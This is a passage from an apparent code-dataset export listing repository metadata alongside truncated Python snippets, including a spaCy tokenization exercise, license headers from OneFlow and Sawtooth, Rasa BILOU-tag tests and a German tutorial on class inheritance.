] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/pt/solution_01_08_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/pt/solution_01_08_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | import spacy
nlp = spacy.load("en_core_web_sm")
text = "It’s official: Apple is the first U.S. public company to reach a $1 trillion market value"
# Processar o texto
doc = nlp(text)
for token in doc:
# Selecionar o texto, s classe gramatical e o termo sintático de um token
token_text = token.text
token... | 27.588235 | 98 | 0.707889 |
b9d0d464a4385ab078258cbe0fce9af59906967d | 1,553 | py | Python | python/oneflow/compatible/single_client/autograd/autograd_mode.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 3,285 | 2020-07-31T05:51:22.000Z | 2022-03-31T15:20:16.000Z | python/oneflow/compatible/single_client/autograd/autograd_mode.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 2,417 | 2020-07-31T06:28:58.000Z | 2022-03-31T23:04:14.000Z | python/oneflow/compatible/single_client/autograd/autograd_mode.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 520 | 2020-07-31T05:52:42.000Z | 2022-03-29T02:38:11.000Z | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 33.042553 | 91 | 0.742434 |
0efc08ecb5d87e6301ecbaa3f2cc84b981846d40 | 3,616 | py | Python | tests/nlu/utils/test_bilou_utils.py | techBeck03/rasa | 72fef6e7742f5ccb8614c75b6410dff68f137554 | [
"Apache-2.0"
] | 2 | 2020-02-27T16:41:52.000Z | 2020-02-27T16:41:57.000Z | tests/nlu/utils/test_bilou_utils.py | alfredfrancis/rasa | d8d226408f20cc2563c3aefbccef3e364a447666 | [
"Apache-2.0"
] | 56 | 2020-06-09T00:16:14.000Z | 2020-11-16T00:25:20.000Z | tests/nlu/utils/test_bilou_utils.py | alfredfrancis/rasa | d8d226408f20cc2563c3aefbccef3e364a447666 | [
"Apache-2.0"
] | 3 | 2019-02-27T10:13:16.000Z | 2019-07-26T08:33:45.000Z | import pytest
import rasa.nlu.utils.bilou_utils as bilou_utils
from rasa.nlu.constants import BILOU_ENTITIES, ENTITIES
from rasa.nlu.tokenizers.whitespace_tokenizer import WhitespaceTokenizer
from rasa.nlu.training_data import TrainingData, Message
@pytest.mark.parametrize(
"tag, expected",
[
("B-per... | 25.464789 | 85 | 0.558905 |
16852eefc218c83c178f86afcdc0c78d1224d824 | 1,587 | py | Python | rbac/common/proposal/proposal_reject.py | fthornton67/sawtooth-next-directory | 79479afb8d234911c56379bb1d8abf11f28ef86d | [
"Apache-2.0"
] | 75 | 2018-04-06T09:13:34.000Z | 2020-05-18T18:59:47.000Z | rbac/common/proposal/proposal_reject.py | fthornton67/sawtooth-next-directory | 79479afb8d234911c56379bb1d8abf11f28ef86d | [
"Apache-2.0"
] | 989 | 2018-04-18T21:01:56.000Z | 2019-10-23T15:37:09.000Z | rbac/common/proposal/proposal_reject.py | fthornton67/sawtooth-next-directory | 79479afb8d234911c56379bb1d8abf11f28ef86d | [
"Apache-2.0"
] | 72 | 2018-04-13T18:29:12.000Z | 2020-05-29T06:00:33.000Z | # Copyright 2019 Contributors to Hyperledger Sawtooth
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | 37.785714 | 79 | 0.706994 |
bc42c8b3ecb91c16765539139b81977079194bfc | 8,654 | py | Python | Kapitel_3/_E1_shapes.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | 1 | 2020-12-24T15:42:54.000Z | 2020-12-24T15:42:54.000Z | Kapitel_3/_E1_shapes.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | Kapitel_3/_E1_shapes.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | # Dieses File soll ein paar Beispiele von mehrfachen Vererbungen zeigen.
# Ob man dies genau so machen sollte und ob diese Vererbungsstruktur und dieses
# Design sinnvoll ist, darüber kann man sich sicher streiten. Der Sinn dieses
# Files ist lediglich eine größere Vererbeungsstruktur zu zeigen, um die
# Handhabung ... | 43.27 | 109 | 0.677028 |
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